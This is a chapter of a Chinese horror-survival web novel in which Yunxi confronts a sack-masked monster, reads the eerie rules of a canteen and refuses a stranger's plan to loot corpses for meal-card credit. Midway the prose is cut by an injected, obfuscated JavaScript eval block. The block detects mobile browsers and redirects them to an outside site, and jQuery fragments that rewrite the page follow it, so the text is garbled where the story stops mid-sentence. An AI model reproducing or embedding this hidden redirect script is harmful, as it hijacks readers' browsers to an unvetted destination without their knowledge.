白皮怪物的手爪插入泥土，将还在嘀嘀嘀的饭卡，连同一大把黑泥，一起抓起，送入麻袋下。


    麻袋里传来咯咯咯的咀嚼声。


    片刻后，怪物将手里的东西嚼碎，吞了下去。然后另一手一甩，从背后甩下来一个巨大的烂麻袋。


    那麻袋凹凸不平的鼓胀着，里面脓臭的黑色腐液，浸透了麻线，跟着一路溅甩。随着袋子往地上一墩，立刻就有腐液大量从纤维之间挤压渗出。


    那难以言喻的陈腐烂肉味道，直击云汐的天灵盖！


    但白皮怪物只是毫不在意地，用尖利的手指灵巧的一勾，解开袋口麻绳，从里面抓出一把钳子，钳起骸骨，扔进麻袋里。


    深度腐烂的骸骨只剩下几根大骨头，怪物两三下就收捡干净，又将钳子一插，将麻袋往背后一甩。


    直到这时，这怪物终于停顿片刻，然后垂下头。


    它的身躯佝到几乎和云汐脸对脸的位置。


    一股酸腐味道从麻袋的缝隙中渗出，在两人之间氤氲。


    云汐能听到怪物在麻袋后粗重的喘气声——


    呼、呼、呼……


    但云汐没有退让的意思，反而微微偏头，往它胸前看去。


    怪物左侧胸口，挂着一块牌子。


    牌子是用铁楔子钉在它皮上的，看起来已经长进肉里了。那形制和云汐的电子饭卡很相似，不过上面只是印着几行白底黑字：


    【食堂勤杂工】


    【职责区域：食堂外场区域】


    【授权权限：二级】


    云汐有点……想摸。


    她觉得自己应该可以通过触摸胸牌，得到一些关于这个世界底层规则的提示。


    而白皮怪物似乎也对云汐有点想法，麻袋下发出来一阵渗人的咀嚼声。


    一人一怪物相互打量片刻。


    云汐攥了攥手里的锤子，评估着对方的危险程度。


    嘀嘀嘀、嘀嘀嘀、嘀嘀嘀……


    此时又一阵报警声传来，打破了两人之间诡异的对峙。


    而怪物听到声音，猛地站直，转身，毫不犹豫的踏入草丛深处。随着它的离开，报警声也戛然而止。


    “……”


    云汐说不上是失望还是庆幸。


    但不论如何，至少这一次她守住了既定路线，没有偏离。


    接下来云汐继续按照指引，在电子饭卡的余额还剩73点时，抵达了【食堂】。


    食堂从外看大约有两个篮球场大小，底层整排玻璃门内，透着朦胧的白光。二层的楼体和顶棚都是灰白色的。整体坐落得方正平直，没有冗余的装饰，像一个规规矩矩的“白盒子”，静待着食客光临。


    云汐靠近大门，发现门口摆着两台自助点餐机，入口有闸门挡着，前面还加了一道安检门，门上滚动着一排红字：


    【就餐须知：为减少餐区拥堵，未点餐者一律谢绝入内，感谢您的配合。】


    云汐听劝地先来到自助点餐机前。


    点餐机处于待机状态，屏幕中央一个大大的计时器，正显示着：


    【本轮开放时间】


    00:10


    云汐轻轻点一下屏幕，待机画面立刻消失，取而代之的是一篇滚动的文字：


    【食堂就餐须知】


    1、安全保障：本食堂高度重视食品安全与环境管理，承诺为就餐食客提供一流的安全保障，请您放心就餐！


    2、营业时间：食堂采用循环营业制，每连续营业3.5小时后，将歇业0.5小时。


    ·歇业期间，禁止任何食客出入，请您合理安排用餐时间。


    3、食品功能：本食堂提供的所有食品均具有强烈的恢复与滋养功效，能助您焕发活力。


    4、消费规则：


    ·本食堂设有最低消费标准，为10点。此外无任何强制消费项目。


    ·营业时间内，您可自由停留，不会产生额外费用。


    ·营业时间结束后，如您仍未离开，将视为滞留。届时将翻倍扣取您的余额，作为滞留场地的使用费。


    5、幸运抽奖：


    营业期间，每个整点，系统将随机抽取一位幸运顾客，赠与以下大奖——


    ·特制甜汤一份


    ·100点余额充值


    ·贵宾休息室（三楼）使用资格


    【欢迎您的光顾，祝您就餐愉快！】


    云汐仔细看完，才点了底部的“确认”按钮。


    系统进入了点餐页面，上面只有两个选项：


    【A餐：骨汤*1（一楼）】


    【·收费：10点】


    【B餐：甜汤*1（二楼）】


    【·收费：100点】


    云汐果断选择一份A餐，按照提示插入电子饭卡。系统划完价，将饭卡吐出。


    此时饭卡背面的实时小地图，变成了几行字：


    编号：001


    餐品：A餐·骨汤*1


    状态：已支付，待取餐


    ————


    【请至一楼窗口取餐，祝您用餐愉快！】


    云汐将卡片翻到正面，卡面余额停止在了62.36。


    所以至少在这一轮食堂营业结束前，她的余额会固定在这个数字上。


    “你的点数也不多了。”


    一个声音忽然从旁边传来。


    云汐猛地扭头，看到是一个约摸二三十岁的女人。她个子高挑，穿着紧身上衣和短裤，扎得紧紧的高马尾，编成辫子垂在脑后，看起来很利落。


    她一边熟练地在另一台自助机上操作，一边暼着云汐：


    “你是新人吧？这点数卡得有点低了。”


    “……低？”云汐迟疑地问。


    “60点是一条红线。


    “低于60点，身体腐败程度会让行动明显受限，低于30点，基本就失去行动能力了。”


    女人一边也给自己点了一份A餐，一边不紧不慢地道：


    “而且，在歇业期间继续停留在食堂，点数流失会翻倍，半小时一共也会消耗60点。但只要余额不扣成负数，就还有中奖资格，可以参加下一轮营业开始时的第一轮抽奖。


    “只要能抽中，就能直接从贵宾室离开食堂。


    “所以，60点是一个保底数字。


    “一旦卡面余额低于60，就等于是在死亡名单上等排号了。”


    此时自助机划好价，吐出了女人的卡片。


    云汐看到她的饭卡上，余额也只有60.23。


    这比她还少啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376120|170536||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……


    云汐眉梢微挑。


    女人也对云汐晃晃卡片，笑道：


    “你也看到了，我上一轮有点失手。


    “不过就像我说的，营业时间结束后，食堂禁止食客进出。所以总有不少人，会拿着剩余不多的点数，选择滞留在食堂，寄希望于下一轮开业时的抽奖。


    “因为滞留的人数相对少，开业抽奖时中奖率相对高些。


    “这些人一般会找隐蔽位置躲藏起来，而一旦没被抽中，他们也只能原地躺尸。


    “这些卡上的余额不会很多，但都是白捡的，先到先得。只要在一轮营业开始时，尽早进去，挨个捡一遍，怎么也足够补充的。


    “我以前也捡过，路比较熟，我们可以搭个伴，捡到的饭卡一人一张的分，怎么样？”


    云汐眨眨眼：“你都自己捡过一遍了，为什么这次要叫上我？”


    “因为，这次里面的情况有点不对劲啊……”


    高马尾女人幽幽地道，同时用下巴点了点食堂内：


    “上一轮营业时间结束后，没有一个人从里面出来。


    “虽然每一轮都有留下来赌抽奖的人，但不可能说进去的所有人，都一齐主动选择滞留。


    “里面一定是出了什么事。


    “你没看到，这一轮食堂都营业十几分钟了，却还是只有你一个愣头青，和我一个余额掉到了红线的倒霉蛋，选择进来碰运气吗？”


    女人说着摇摇头，又道：


    “我看你也不像是走打打杀杀那个路子的，那我们不如搭个伴，进去也别再算计来算计去的，相互提防反而耽误时间。


    “我们一起，快进快出，溜边捡尸，余额攒够就赶紧撤，怎么样？”


    “谢谢。”云汐想了想，“我不打算去捡尸，而且我也不认为……”


    她话到这里顿住。


    根据过往经验，云汐知道，想要从一个封闭的空间中脱身，最直接有效的方法，是弄清空间运行的底层逻辑，然后从根源上寻找出口。


    一定不能按照既定的规则流程走。


    否则参与得越深，和当前空间规则纠缠得越深，受到的规则桎梏会越强，想要脱身会变得更加困难。


    所以云汐路上也根本没考虑过，去草丛里捡几张饭卡来充充余额。


    而她来食堂，也是冲着探明这个空间的运行机制来的。


    如非必要，她连食堂提供的食物都不打算吃。


    这些都是她的真心话。


    但马尾辫女人却在云汐拒绝她提议的一瞬间，眼中只剩一片戒备。


    很明显，在女人的判断中，拒绝联手就等于选择竞争，甚至是敌对了。


    “你先来的，你先进。”


    马尾辫女人神色微冷，一只手悄然摸到身后。


    道不同，不为谋。


    云汐也放弃沟通，转身将饭卡贴在安检门的感应区上。


    安检门嗒地亮起绿灯，前方闸门的挡板自动打开，门上也显示出：


    【已点餐，请进入。】


    云汐收起卡片，却在进去前，忽然又想起来一件事，再次转身，看向梳着马尾辫的女人：


    “可以再问一下，你是怎么进来这个空间的吗？”


    女人眉心猛地一跳。